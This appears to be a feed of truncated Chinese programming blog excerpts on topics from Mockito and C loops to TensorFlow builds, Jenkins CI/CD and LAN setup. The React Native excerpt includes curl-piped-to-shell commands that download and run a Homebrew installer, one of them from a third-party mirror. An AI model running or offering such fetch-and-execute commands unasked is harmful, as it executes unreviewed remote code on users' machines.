准备好各种食材通过KungPaoChicken获取到一份宫保鸡丁。 KungPaoChicken kungPaoChicken = KungPaoChicken.getKungPaoChicken(各种食材); } 代码之间的耦合关系图: 看起来也不难,也不麻烦对吧? 别着急下定论,现在只是一个人想要宫保鸡丁,假如现在有10个人都想要那?是不是有十份相同的代码?这10个人都和KungPaoChicken有耦合。又比如现在需要的食材有所改变,那这样的话是不是这10个人都需要调整代码?这么一来是不是发现这种实现方式一点也不友好。 使用IOC的做法 现在我们转变一下思路,不再自己动手做了,我们把这道菜的做法告诉饭店,让饭店来做。 // 伪代码 public class Restaurant { public static KungPaoChicken getKungPaoChicken() { // 处理食材,返回宫保鸡丁 retur KungPaoChicken; } } 转变之后的耦合关系图: 经过这样处理,就可以很大程度上解决上面的这些问题。

Mockito:模拟测试框架的具体介绍与使用

我是 ABin-阿斌:写一生代码,创一世佳话,筑一揽芳华。 如果小伙伴们觉得我的文章不错,记得一键三连哦。 文章目录 一、什么是Mockito二、有什么作用:三、具体如何使用:3.1 Mockito的API介绍3.2案例解析: 一、什么是Mockito Mockito 是一个强大的用于 Java 开发的模拟测试框架, 通过 Mockito 我们可以创建和配置 Mock 对象,进而简化有外部依赖的类的测试。 二、有什么作用: 提前创建测试,TDD(测试驱动开发) 如果你创建了一个 Mock 那么你就可以在 service 接口创建之前写 Service Tests 了,这样你就能在开发过程中把测试添加到你的自动化测试环境中了。换句话说,模拟使你能够使用测试驱动开发。 团队可以并行工作 这类似于上面的那点;为不存在的代码创建测试。但前面讲的是开发人员编写测试程序,这里说的是测试团队来创建。当还没有任何东西要测的时候测试团队如何来创建测试呢?模拟并针对模拟测试!这意味着当 service 接口需要测试时,实际上 QA 团队已经有了一套完整的测试组件;没有出现一个团队等待另一个团队完成的情况。这使得模拟的效益型尤为突出了。 你可以创建一个验证或者演示程序。 由于Mocks 非常高效,Mocks 可以用来创建一个概念证明,作为一个示意图,或者作为一个你正考虑构建项目的演示程序。这为你决定项目接下来是否要进行提供了有力的基础,但最重要的还是提供了实际的设计决策。 隔离系统 有时,你希望在没有系统其他部分的影响下测试系统单独的一部分。由于其他系统部分会给测试数据造成干扰,影响根据数据收集得到的测试结论。使用 mock 你可以移除掉除了需要测试部分的系统依赖的模拟。当隔离这些 mocks 后,mocks 就变得非常简单可靠,快速可预见。这为你提供了一个移除了随机行为,有重复模式并且可以监控特殊系统的测试环境。 三、具体如何使用: 在使用 Mockito 测试框架时,我们需要提前在 idea 中装一个测试插件,这个插件会帮我们生成大部分的测试代码,从而减少我们的一个测试开发成本。 IntelliJ idea 需要安装的测试插件 当我们安装好这个插件后我们只需要选中我们想要测试的类——操作如下: 这里可以根据你们公司所规定的测试版本来,我这里用的是 JUnit5 和 Mockito 经过以上操作后,我们 ServiceImpl 中有几个方法,这个插件就会帮我们生成几个相对应的测试方法,当然这里我们还需要自己手动改一下 init()和 最下面那个方法是通用的,其方法根据自己的实际情况来测试就可以了。下面看不懂的注解可以去查一下主要是 Junit5 和 Mockito测试框架 3.1 Mockito的API介绍 不懂的可以看看这几篇文章,我觉得写的都挺不错。MockitoAPI介绍Mockito中文文档 3.2案例解析: 要测试的 DtMachineIncomeServiceImpl 实现类

C语言-分支和循环语句

分支和循环语句 本章内容分支语句if语句1.什么是语句?2.单个if3.if-else4.多分支if-else4.悬空else5.在函数中省略else练习1-判断一个数是否为奇数练习2-输出1-100的奇数 switch语句练习 循环语句whilewhile中的breakwhile中的continuegetchar、putchar函数 for循环for中的breakfor中的continue练习 do...whilebreakcontinue goto语句 本章内容 分支语句 if语句 1.什么是语句? C语言是一门程序设计语言 由分号隔开的句子,称为语句。 printf("Hello world\n"); ; //空语句 3.14; 2.单个if #include <stdio.h> int main() { int i=1; if(i>0) //()里面的表达式成立,执行printf语句 printf("hello\n"); return 0; } if控制的表达式,0表示假,语句不执行,非0表示真,执行 3.if-else #include <stdio.h> int main() { int i=1; if(i<0) printf("haha\n"); else printf("hehe\n"); return 0; } if-else语句,如果if的表达式不成立,则执行else后面的语句 4.多分支if-else #include <stdio.h> int main() { int i = 0; scanf("%d",&i); if (i < 0) printf("负数\n"); else if (i == 0) printf("

Postgresql杂谈 01—访问控制配置文件pg_hba.conf的介绍

一、文件结构介绍 PostgresSql的访问控制文件pg_hba.conf位于/var/lib/pgsql/11/data,主要的作用是控制控制哪些IP地址可以访问数据库。 # TYPE DATABASE USER METHOD # "local" is for Unix domain socket connections only local all all peer # IPv4 local connections: host all all 127.0.0.1/32 ident # IPv6 local connections: host all all ::1/128 ident # Allow replication connections from localhost, by a user with the # replication privilege. local replication all peer host replication all 127.0.0.1/32 ident host replication all ::1/128 ident host all all 0.

Mac react-Native 项目 npm start 时候时候报错too many open files...

react-Native 项目 npm start 时候时候报错 首先修改文件上限之后无效 然后安装watchman 用来监视文件并且记录文件的改动情况,当文件变更它可以触发一些操作,例如执行一些命令等等。 在使用React Native时,官方推荐推荐安装watchman,否则你可能会遇到一个Node.js监视文件系统的BUG 但是在此之前要先安装brew 因为linux系统都有个通病-软件包依赖,当前主流的两大发行版本都自带了解决方案,Red hat有yum,Ubuntu有apt-get。但是mac os并没有软件包依赖,所以需要借助第三方支持Homebrew来实现软件包依赖。 Homebrew简称brew,是Mac OSX上的软件包管理工具,能在Mac中方便的安装软件或者卸载软件,可以说Homebrew就是mac下的apt-get、yum神器 运行这个命令ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 之后 报错 重新运行 /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" 确认一下是否安装成功 brew --version 测试是否安装成功 which brew 安装成功路径 然后安装 brew update brew install watchman 成功之后项目就可以成功跑起来了。

DJI ManiFold-2G(Nvidia Jetson TX2)源码安装Tensorflow-1.12.0

Dji ManiFold-2G(Nivida Jetson TX2)源码安装Tensorflow-1.12.0 Cuda 9.0Jetpack 3.3Python 3.5cuDNN 7.4.1(严格匹配!其他版本会出现问题!) 1. 使用背景: 使用TensortRt在DJI MANIFOLD-2G 部署加速目标检测模型。Nivida 提供了一些版本的tensorflow wheel安装。 由于Dji ManiFold-2G内置的Jetpack 3.3,Cuda9.0,Jetpack和Cuda版本不可随便变更,所以在安装tensorflow时需要注意按照版本进行匹配。在TX2上安装tensorflow-0.8.0经过测试是可以正常使用的,但是在转换和加载目标检测模型是会出现一些问题,因此尝试更高版本的tensoflow。 2. 准备工作: 2.1 创建虚拟内存空间 由于MANIFOLD-2G 的内存只有8G,在源码编译tensorflow这种大型项目时需要足够的内存,因此建议在硬盘上创建8G虚拟内存(按照自己实际需求创建虚拟内存)。 $ sudo fallocate -l 8G /swapPath/8GB.swap $ sudo mkswap /swapPath/8GB.swap $ sudo swapon /swapPath/8GB.swap 此时可以使用free-m看到已经新建了8GB的虚拟内存,为了保证该虚拟内存在计算机重启后仍有效,需要将下面语句添加到/etc/fstab后并重启计算机: $ /swapPath/8GB.swap none swap sw 0 0 注: 在TX-2这种开发板上创建虚拟内存空间十分重要,这保证一些大型程序的编译有足够的内存空间,如果不建立这样的内存空间在编译TF时会出现内存不足的错误。 3. 安装步骤: 作者在安装学习的过程中主要参考JK Jung blog,该博客给作者的工作提供了极大的帮助,因此这里也主要借鉴JK Jung所提供的相关内容。 如果你已经安装了tensorflow、tensorboard,需要先讲其卸载 $ sudo pip3 uninstall -y tensorflow tensorboard 从Github上下载安装源码,这里直接使用JK Jung的Github的jetson_nano仓库 $ cd /project $ git clone https://github.

史上最全的LED点灯程序,你都掌握了吗?

摘要:你点亮过多少板子的LED灯呢?有很多小伙伴留言说讲一下STM32、FPGA、Liunx他们之间有什么不同。不同点很多,口说无凭,今天就来点亮一下STM32、FPGA和Liunx板子的LED灯,大家大致看一下点灯流程和点灯环境以及点灯流程,就能大概的了解一下三者的区别,可以有选择的去学习! 一、使用STM32点亮LED灯 STM32从字面上来理解ST是意法半导体,M是Microelectronics的缩写,32 表示32位,合起来理解,STM32就是指ST公司开发的32位微控制器。在如今的32 位控制器当中,STM32可以说是最璀璨的新星,它受宠若娇,大受工程师和市场的青睐,无芯能出其右。首先使用STM32电亮一个led灯,大家现在回过头来看是不是非常的简单。 STM32初始化流程 1、使能指定GPIO的时钟。 2、初始化GPIO,比如输出功能、上拉、速度等等。 3、STM32有的IO可以作为其它外设引脚,也就是IO复用,如果要将IO作为其它外设引脚使用的话就需要设置 IO 的复用功能。 4、最后设置GPIO输出高电平或者低电平。 1、新建工程 2、代码编写 //LED IO初始化 void LED_Init(void) { GPIO_InitTypeDef GPIO_InitStructure; RCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOF, ENABLE);//使能GPIOF时钟 //GPIOF9,F10初始化设置 GPIO_InitStructure.GPIO_Pin = GPIO_Pin_9 | GPIO_Pin_10;//LED0和LED1对应IO口 GPIO_InitStructure.GPIO_Mode = GPIO_Mode_OUT;//普通输出模式 GPIO_InitStructure.GPIO_OType = GPIO_OType_PP;//推挽输出 GPIO_InitStructure.GPIO_Speed = GPIO_Speed_100MHz;//100MHz GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_UP;//上拉 GPIO_Init(GPIOF, &GPIO_InitStructure);//初始化GPIO GPIO_SetBits(GPIOF,GPIO_Pin_9 | GPIO_Pin_10);//GPIOF9,F10设置高,灯灭 } 3、编译代码 4、配置下载器 烧录代码 二、使用FPGA点亮LED灯 FPGA(Field Programmable Gate Array,简称 FPGA),译文:现场可编程门阵列,一种主要以数字电路为主的集成芯片,于1985年由Xilinx创始人之一 Ross Freeman发明,属于可编程逻辑器件PLD(Programmable Logic Device)的一种。真正意义上的第一颗FPGA芯片XC2064为Xilinx所发明,这个时间差不多比著名的摩尔定律晚20年左右,但是FPGA一经发明,后续的发展速度之快,超出大多数人的想象。 计数器是在FPGA设计中最常用的一种时序逻辑电路,根据计数器的计数值我们可以精确的计算出FPGA内部各种信号之间的时间关系,每个信号何时拉高、何时拉低、拉高多久、拉低多久都可以由计数器实现精确的控制。而让计数器计数的是由外部晶振产生的时钟,所以可以比较精准的控制具体需要计数的时间。计数器一般都是从0开始计数,计数到我们需要的值或者计数满溢出后清零,并可以进行不断的循环。 本例我们让计数器计数1s时间间隔,来实现led灯每隔1s闪烁一次的效果。 LED灯硬件原理图流水灯实验管脚分配 1、模块框图 模块框图输入输出信号描述 2、RTL代码的编写 开始RTL代码的编写,RTL代码编写出的模块叫RTL模块(后文中也称功能模块、可综合模块)。之所以叫RTL代码是因为用Verilog HDL在Resistances Transistors Logic(寄存器传输级逻辑)来描述硬件电路,RTL代码能够综合出真实的电路以实现我们设计的功能,区别于不可综合的仿真代码。

计组——关于二进制除法的一些思考

由于时间比较紧张,所以这次写的博客比较粗糙,望各位海涵,如果哪里写错了,您可以评论或者私聊指出我的错我,我一定马上改正。谢谢。 文章目录 原码除法恢复余数法👉我们面临的问题👉计算机是怎么做的👉怎么做题? 加减交替法👉在恢复的过程中干了什么?👉做题 补码除法够减?还是不够?确定商值计算过程总结 最后DaoDao两句 原码除法 恢复余数法 👉我们面临的问题 如何确定某个位置应该商几? 如果这个位置商1的话,则如下 好家伙,根本不够减,赶紧拿出橡皮擦擦掉刚刚的1,换成0,然后继续计算。 但是计算机还是比人笨的,我们人类能直接擦掉重新改,但是计算机可以吗? 如果您看过我之前的博文,或者了解计算机内部的乘法计算,就应该知道,计算机在计算乘除法的时候使用寄存器来存储中间结果,比如乘法的部分积,或者我们目前正在谈的除法中的余数,还是回到刚刚的问题 这个位置应该商什么? 计算机判断谁大谁小本身就是使用减法的结果来判断的(当然在计算机内部是使用的补码,这里我们仅仅用原码来展示一下原理),假设我们商1,那么就像这样: 最后两行很明显被减数小于减数,两者相减的结果无论正负最终都要存入余数的寄存器中,这时候我们检查寄存器里面的结果,发现,噢!原来商1后的余数为负数,不行,这个位置应该商0。 多么像你的人生,当你知道错了的时候,往往事情已经无法挽回了,寄存器里面已经存入一个负数了。 👉计算机是怎么做的 这时候我们要扭转自己作为一个正常人类在做除法时的观念。 作为计算机,你虽然笨,但你足够严谨,而且你在做除法的时候只需要关心商1还是0,所以你先进行验证然后再商。我们还是用这个老图。 面对这个问题,你到底商几? 如果我们默认商1(我只是说如果,我先不商,我先验证),0.0001010就需要减去0.0001101,先做减法,发现最终结果小于零(重申:计算机内部是使用的补码,这里我们仅仅用原码来展示一下原理),并且这个小于0的结果已经存入了余数寄存器中。 这时候你就要进行判断 余数寄存器中的值小于0,表示不能商1,需要商0余数寄存器中的值大于0,表示能商1 好像我们完成了一个重大任务,我们把这个位置的正确商值求出来了! Wait a minute,寄存器里面此时还存着一个负数呢!如果商0的话,寄存器里面的值不应该发生变化呀,怎么办?终于谈到了我们的正题——恢复余数。 这个时候我们则需要对余数寄存器再进行一步操作,它之前减去了一个除数,再给它加上一个除数,不就把它恢复了吗? 我们每轮上商之前需要进行的操作: 默认让余数减去除数进行判断 余数寄存器中的值小于0,表示不能商1,需要商0,并且要对寄存器中的值进行恢复处理余数寄存器中的值大于0,表示能商1 👉怎么做题? 关于移位: 首先,在计算的时候我们采用的是余数左移,形成对比记忆,乘法里面使用的都是右移, 关于左移,我用自己匮乏的语言能力没法说清楚,但是用一张图可以很好地理解,比如对于我们这道题来说,每次得到余数后,我们在下一位上商,假设我们上的商为1,比如你在小数点后第二位上商1,0.01×0.1101=0.001101,而此时上一轮得到的余数为0.01001,我们则需要在这个余数后面补零,这样才能和0.001101对齐,而在计算机中,这个过程其实是左移。 前期的准备工作: 原码除法和原码乘法一样,结果的符号提前进行判断,我们需要获得被除数和除数的绝对值原码,或者说补码,反正正数的补码和原码一致。设它们为 被 除 数 绝 被除数_{绝} 被除数绝​和 除 数 绝 除数_绝 除数绝​ 每次上商1的时候,原来的余数需要减去 除 数 绝 除数_绝 除数绝​,那必然是不得行,计算机不会做减法,只会做加法,所以我们还需要获得 − 除 数 绝 -除数_{绝} −除数绝​的补码即 [ − 除 数 绝 ] 补 [-除数_绝]_补 [−除数绝​]补​

Python元类-认识和应用

元类metaclass 类的类型是什么? 元类,int、list等都是由元类创建的,type是Python的内建元类,任何类都有所属的元类(type) print(type(1)) print(type(int)) ---运行结果--- <class 'int'> <class 'type'> 元类能干什么? 元类的核心思想,就是捣鼓类这个对象、使你能对其有着最高程度的控制权 元类和类的关系 元类metaclass可以创建元类,元类创建类(包括object也是由type创建的),类创建对象 如何使用元类创建类? --方法一:通过type函数创建 type(类名, 父类以元组表示(针对继承的情况,可以为空),包含的属性用字典表示(名称和值)) 例子 def __init__(self,name): self.name = name Student = type('Student',(object,),{'__init__':__init__,}) aa = Student('chloee') print(Student) print(aa.name) ------ <class '__main__.Student'> chloee ---方法二:继承type元类 class MyMetaclass(type): def __new__(cls,name,bases,attrs): """ 创建对象(这个对象是一个类) name:字符串,类的名称 bases:元组(基础类1,基础类2……) attrs:字典(__dict__属性) """ name = 'Person' attrs['name'] = 'chloe' attrs['age'] = 18 bases = (object,) return type.__new__(cls,name,bases,attrs) class MyClass(object, metaclass=MyMetaclass): pass if __name__ == '__main__': print(MyClass.

Git--github ssh pull/push报错Connection reset by peer

一、问题描述 今天在读书馆学习,push推送代码到github时,推送失败了,git pull、git clone都失败 报错主要内容如下: kex_exchange_identification: read: Connection reset by peer fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. 说明一下:此时我本地的github工程,使用的是git clone SSH-url拉取下来的 二、导致原因 1、网络问题 同样的项目,使用手机热点连接笔记本,git pull正常,但是连接读书馆的wifi进行git pull就报错 如图: 解决办法: 要么不使用读书馆的wifi,要么将git clone SSH-url换成git clone HTTPS-url,重新拉取代码 不过一般都是本地改了代码的,重新拉代码不太可能,所以还是使用手机热点或者连接到无限制的网络吧!! 2、SSH失效 一开头我也说了,我本地的github工程是通过git clone SSH-url拉取下来的,那如果不是网络的问题,一般就是ssh密钥的问题,可能是密钥过期或者密钥错误 检查下SSH key密钥内容,不确定的话,可以本地重新生成最新的SSH KEY拷贝到服务器SSH KEY中 生成SSH公钥 在Git bash命令窗中: cd ~ cd .ssh ssh-keygen -t rsa -b 4096 -C "your_email@example.com" cat id_rsa.

vbs怎样让别人叫你爸爸、密码锁代码

这边直接给源码: do baba=inputbox("叫爸爸来关闭窗口,否则别想关掉") if baba="爸爸" then exit do else: msgbox"快叫爸爸,重来!",64,"提示" end if loop msgbox"哎,乖儿子!" 也可以把文字改一改,当密码锁用,这下解决了两个问题。

怎么同时建立两个链表

注意点一 注意点二 注意点三 目前我对于单链表的头插式建立法比较了解但是在遇到Leetcode002题时,我发现它同时建立了两个单链表,以前我建立单链表时总是使用head_creat()这个函数但是这样的话,往往实现不了将两个链表区分开来的作用,经过搜索我发现了这个方法 https://blog.csdn.net/weixin_45774972/article/details/115374066?ops_request_misc=&request_id=&biz_id=102&utm_term=%E5%A6%82%E4%BD%95%E5%90%8C%E6%97%B6%E5%BB%BA%E7%AB%8B%E4%B8%A4%E4%B8%AA%E9%93%BE%E8%A1%A8&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-6-.first_rank_v2_pc_rank_v29&spm=1018.2226.3001.4187 以上是他人的文章 这里我们可以发现他使用了这样的方法 注意点一 在头插式建立链表函数的基础上在函数中添加了参数 1:我当前要建立的链表的头指针 2:该链表的长度 注意点二 他在定义结构体时加入了listnode(int x)这样的一个函数 我感觉这就是一个自己定义的构造函数 如果是默认的构造函数,我们会用ListNode*p=new List Node();这样的一个函数 此时就会变成ListNode*p=new ListNode(0)前提是还没给这样的一个结点赋值 注意点三 输出函数参数也加入了头指针让我们知道该遍历哪个链表 接下来我将使用自己的方法尝试能否自己实现 #include<iostream> using namespace std; struct Node {//创建进程控制块 int data; struct Node *next;//指向下一个结点的指针 Node(int x) :data(x), next(NULL) {}; }; //头插法创建单链表 void head_creat(Node *head,int l) { int n; for (int i = 0; i < l; i++) { Node *p = new Node(0); cout << "请输入当前结点的值" << endl; cin >> n; p->data = n;//给结点赋值 p->next = head->next; head->next = p; } } void show(Node *head) { Node *p = head->next; while (p) { cout << p->data<<"

计算机软件自启动设置,设置开机启动项,详细教您电脑如何设置开机启动项

身边不少朋友买了电脑都在比拼电脑开机速度,一般新电脑开机启动时间保持在30s左右就已经很不错了,不过不少朋友电脑开机时间需要1分多钟,不少朋友的答案的设置开机启动项目,尽量减少程序开机启动,那么如何优化提升电脑开机速度呢?下面,小编给大家介绍电脑设置开机启动项的操作步骤。 将不必要的程序,设置为禁止开机自启动,可以很大程度地提高开机速度。很多电脑管理软件,都是通过禁止不必要的开机自启动项来实现开机加速的。那么在不使用这些管理软件的时候,如何手动设置开机自启动项呢?下面,小编给大家电脑带来了电脑设置开机启动项的图文。 电脑如何设置开机启动项 方法一 用命令的方式 首先是用win键+R键调出运行命令, 开机启动项电脑图解-1 在命令中输入“msconfig”命令,打开系统配置对话框。 设置启动项电脑图解-2 在系统配置对话框里选择“启动”选项卡,在选项卡里去掉自己不需要开机启动的程序,点击确定,然后重启电脑就OK了。 启动项电脑图解-3 方法二 用软件禁用(以电脑管家为例) 确认自己电脑上装有电脑管家,打开电脑管家,选择电脑加速-启动项,打开启动项管理对话框。 启动项电脑图解-4 在启动项管理对话框中,第一个启动项里进行操作,把不需要的开机启动的程序禁用就行了,用软件的好处就在于,你不必重新启动电脑。 启动项电脑图解-5 以上就是电脑设置开机启动项的技巧。

ROS pluginlib步骤

1.创建插件 一般情况是有基类的,以move_base导航栈为例。其nav_core包下有几个头文件,这就是基类所在,其具体实现由继承类完成,基类的构造函数是protected 2.新建软件包 catkin_create_pkg package_name roscpp 基类包名 ...... 3. 继承类头文件要包含 基类 #include <基类包名/基类头文件名.h> 这里是因为头文件在/include/包名/头文件名。如果就在include文件夹里 不用包名就可以了 .cpp文件要包含一个头文件 #include <pluginlib/class_list_macros.h> 在继承类的.cpp文件中,在头文件之后要写一个宏PLUGINLIB_EXPORT_CLASS,目的是可以到出插件类 PLUGINLIB_EXPORT_CLASS(继承类空间名::继承类名, 基类空间名::基类名) 4.CMakeLists.txt 这里是生成一个插件,是一个库,所以要加入 add_library(想要插件名 src/插件.cpp 插件.cpp ....) 5.为继承类创建一个插件.xml 与CMakeLists.txt一个目录下 例如 <library path="lib/libpolygon_plugins"> <class name="polygon_plugins/Regular_Triangle" type="polygon_plugins::Triangle" base_class_type="polygon_base::RegularPolygon"> <description>This is a triangle plugin.</description> </class> <class name="polygon_plugins/Regular_Square" type="polygon_plugins::Square" base_class_type="polygon_base::RegularPolygon"> <description>This is a square plugin.</description> </class> </library> //两个插件名的例子 <library path="lib/lib插件名"> <class name="继承类空间/自定义插件名" type="继承类空间::继承类名" base_class_type="基类空间::基类名"> <description>This is a triangle plugin.</description> </class> <class name="polygon_plugins/Regular_Square" type="polygon_plugins::Square" base_class_type="

6.830 / 6.814: Syllabus 2021 - MIT Lab 1 - SimpleDB

文章目录 1.参考链接:2.SimpleDB Architecture and Implementation Guide2.2Fields and Tuples2.3Catalog2.4BufferPool2.5HeapFile access method2.6Operators 1.参考链接: 1.1 课程链接:http://db.lcs.mit.edu/6.830/assign.php 1.2 lab1链接:https://gitee.com/zhou-zhiqiang/db-class/blob/master/lab1.md 1.3 HearmingBear Lab1链接:https://blog.csdn.net/hjw199666/article/details/103486328 1.4 我的仓库地址:https://gitee.com/zhou-zhiqiang/db-class 2.SimpleDB Architecture and Implementation Guide 2.2Fields and Tuples src/java/simpledb/storage/TupleDesc.java package simpledb.storage; import simpledb.common.Type; import java.io.Serializable; import java.util.Arrays; import java.util.Iterator; import java.util.NoSuchElementException; /** * TupleDesc describes the schema of a tuple. * */ public class TupleDesc implements Serializable { /** * the parameter used to hold tuple * */ private final TDItem[] tdItems; /** * A help class to facilitate organizing the information of each field * * */ public static class TDItem implements Serializable { private static final long serialVersionUID = 1L; /** * The type of the field * * */ public final Type fieldType; /** * The name of the field * * */ public final String fieldName; public TDItem(Type t, String n) { this.

利用Vue Grid Layout实现div可拖动布局

首先预览效果 注:所有的div模块都可以随意拖动,颜色样式可以在css里面 直接改 插件安装 1.npm install vue grid插件。 npm install vue-grid-layout --save 代码(包含css) // An highlighted block <template> <div style="width: 100%; height: 2000px"> <hr /> <br /> <div class="container" style="width: 100%; margin-top: 10px; height: 100%"> <grid-layout :layout.sync="layout" :col-num="12" :row-height="30" :is-draggable="draggable" :is-resizable="resizable" :responsive="responsive" :vertical-compact="true" :use-css-transforms="true" > <grid-item v-for="item in layout" :static="item.static" :x="item.x" :y="item.y" :w="item.w" :h="item.h" :i="item.i" > <span class="text">{{ item.i }}</span> </grid-item> </grid-layout> </div> </div> </template> <script> import { GridLayout, GridItem } from "

w10计算机管理员权限在哪里设置密码,windows10管理员权限怎么设置_win10电脑设置管理员权限的步骤...

电脑中的很多操作,都是需要管理员权限才可以执行的,那么如果windows10系统中默认不是管理员权限的话,就会导致许多需要管理员权限的操作无法实现,那么要怎么进行设置呢,设置方法其实很简单,本教程给大家带来win10电脑设置管理员权限的步骤。 具体设置方法如下: 1、在右下方任务栏的“搜索web和windows”输入框中输入“gpedit.msc”,电脑会自行搜索,搜索完毕之后鼠标点击打开。 2、打开本地组策略管理器。 3、依次点击打开“计算机配置”选项,然后再找到“Windows设置”这个选项,再从“Windows设置”找到并打开“安全设置”选项,接着打开“本地策略”最后找到打开“安全选项”即可。 4、找到“账户:管理员状态”,可以看见状态为“已禁用”,我们需要的是将它开启 5、鼠标右键单击“账户:管理员状态”,在弹出的快捷菜单中选择“属性”。 6、在“账户:管理员状态”属性中,将以启用选中即可; 7、如果想修改管理员账户的名字,找到“账户,重命名系统管理员账户”,右键单击,选择属性; 8、系统默认系统管理员的名字为administrator,你可以根据自己的喜好修改,如果不想修改名字,这一步操作可以忽略。 关于windows10管理员权限的详细设置方法就给大家讲解到这里了,还不知道如何设置的用户们可以参考上面的方法来设置就可以了。 我要分享到:

CI/CD——构建企业级Docker+Jenkins+Git+Harbor流水线自动化持续集成持续发布平台

构建企业级Docker+Jenkins+Git+Harbor流水线自动化持续集成持续发布平台 CI/CD是什么?持续集成(CI)/持续交付(CD)的优势自动化部署流程图Git Github Gitlab的区别 前言:一些自己想说的话部署Docker+Jenkins+Git+Harbor流水线自动化CI/CD安装部署Git安装Harbor安装Jenkins 关于实验的一些总结 CI/CD是什么? CI/CD 是一种通过在应用开发阶段引入自动化来频繁向客户交付应用的方法CI/CD 的核心概念是持续集成、持续交付和持续部署作为一个面向开发和运营团队的解决方案,CI/CD 主要针对在集成新代码时所引发的问题(亦称:“集成地狱”) 持续集成(CI)/持续交付(CD)的优势 持续集成/持续交付是现代软件开发周期的基础在传统的软件开发方法中,每个功能更新或修复错误都会每隔一段时间进行发布,这显著增加了在部署时耦合更改的机会持续集成/持续交付可以解决所有这些问题,并使整个过程更易于管理和高效。在现代软件开发实践中,持续集成(CI)/持续交付(CD)是构建、测试应用程序并将其部署到生产中的基础。持续交付(CD)有助于降低风险,并通过自动化来自不同项目开发人员的多个代码更改来实现生产一致性。另一方面,持续交付使开发人员能够无缝地将集成代码交付到生产中,从而提供快速有效的自动化流程,以向客户轻松发布新功能和更新持续集成/持续交付管道的优势: 管理较小的代码更改故障隔离可在短期内防止错误缩短平均解决时间(MTTR)提高测试可靠性加快释放速度减少积压推动客户实现加强团队的透明沟通和责任感降低成本易于维护和更新 结论 部署CI / CD流程后,您可能会在开发人员工作流程中实现更平滑的过渡关键是,测试质量首先需要在工作流程中引起很多注意,这使您成为其他人可以效仿的灯塔无论您的产品交付有多快和连续,没有质量意识都没有关系当CI / CD管道的更多步骤可以自动化时,质量也意味着更快的质量发布 自动化部署流程图 首先,开发人员每天进行代码提交,提交到Git仓库然后,Jenkins作为持续集成工具,使用Git工具到Git仓库拉取代码到集成服务器,再配合JDK, Maven等软件完成代码编译,代码测试与审查,测试,打包等工作,在这个过程中每一步出错,都重新再执行一次整个流程最后,Jenkins把生成的jar或war包分发到测试服务器或者生产服务器,测试人员或用户就可以访问 应用 Git Github Gitlab的区别 Git是一个开源的分布式版本控制系统,用于敏捷高效地处理任何或小或大的项目。是Linus Torvalds为了帮助管理Linux内核开发而开发的一个开放源码的版本控制软件。Github是在线的基于Git的代码托管服务。GitHub是2008年由Ruby on Rails编写而成。GitHub同时提供付费账户和免费账户。这两种账户都可以创建公开的代码仓库,只有付费账户可以创建私有的代码仓库。Gitlab解决这个问题,可以在上面创建免费的私人repo。 前言:一些自己想说的话 关于实验的开头,本意想使用Docker部署Jenkins,但是在调试Maven和JDK的时候一直报错从7月8号到7月9号的凌晨4点,一直报错,各种解决方案已经被我翻烂了…各种问题接踵而至…于是带着懵逼询问了专业人士,朋友让我使用传统的方式,好家伙,话不多说上操作 用Docker部署的流程就放这把,可以直接跳过,只是作为一个笔记! #下载Jenkins镜像 [root@jenkins ~]# docker pull jenkins/jenkins:lts-jdk11 #创建Jenkins挂载路径 [root@jenkins ~]# mkdir -p /docker/jenkins #对此目录开放权限,否则容器启动时会报错 [root@jenkins ~]# chmod 777 /docker/jenkins/ #启动容器 [root@jenkins ~]# docker run -itd -p 8080:8080 -p 50000:50000 --restart always -v /docker/jenkins:/var/jenkins_home --name jenkins jenkins/jenkins:lts-jdk11 #通过文件形式查看解锁密码 [root@jenkins ~]# cat /docker/jenkins/secrets/initialAdminPassword 8bf67325c495443a869b249d1f4bb853 #通过日志形式查看解锁密码 [root@jenkins ~]# docker logs -f jenkins 8bf67325c495443a869b249d1f4bb853 部署Docker+Jenkins+Git+Harbor流水线自动化CI/CD CentOS Linux release 7.

如计算机网络如何建立内部网,如何建立局域网【图文教程】

如何建立局域网【图文教程】 局域网是指在某一区域内由多台计算机互联成的计算机组。一般是方圆几千米以内。那么如何建立局域网呢?下面就来教大家如何建立局域网的方法,都来看看吧。 步骤1、关于如何建立局域网的问题,首先根据物理位置和距离情况,制作若干根网线,并且通过测试确保网线的连通性。在制作网线方面,有两种布线方式,一种是平行布线方式,适合不同种类的设备进行互联时;另一种是交叉布线方式,适合同一类型设备之间的互联。现在大部分设备都能识别平行和交叉布线方式。 步骤2、利用网线将集线器或路由器的LAN口与电脑网卡接口连接起来。尤其对于路由器,为了组建局域网,确定所有的LAN接口与电脑网卡相连。 步骤3、确保各个电脑的网卡驱动安装正常。测试方法:打开“运行”对话框,输入命令“ping 127.0.0.1 -t",如下出现如下界面提示,表明安装正常。否则下载相应的最新驱动重新安装。 步骤4、设置各电脑的IP地址,一般来说,对于局域网用户,IP地址推荐的范围是“192.168.1.1”至“192.168.1.254”,对于每台电脑,都应该指定在该范围内且唯一的IP,子网掩码:“255.255.255.0”,其它各项按默认处理。IP地址的设置方法:右击“本地连接”,进入“本地连接属性”对话框,双击“Internet 协议版本4(Tcp/IP)”,打开设置对话框 ,输入IP地址和子网掩码。 步骤5、在各电脑的IP设置完成后,就进行各计算机之间的互通性测试。测试方法:打开“运行”对话框,在任意一台计算机上通过命令“ping 192.168.1.X”(X代表任意一台计算机制IP最后一组数字)来测试,如果出现如下界面,说明网络已连接。至此,整个局域网就搭建完成。 步骤6、对于局域网中电脑的数量多于集线器或路由器接口数量的情况,可采用多个集线器或路由器相连的方式来扩展网络范围。具体作法是:集线器或路由器之间通过LAN口相连接即可扩展网络,唯一需要注意的是路由器的WAN口不要用作扩展网络的接口,该接口的作用是用于连接ADSL或宽带。 以上就是如何建立局域网的具体操作, 在组建局域网过程中,合理使用Ping命令,以确保网络的畅通。

课题组报告

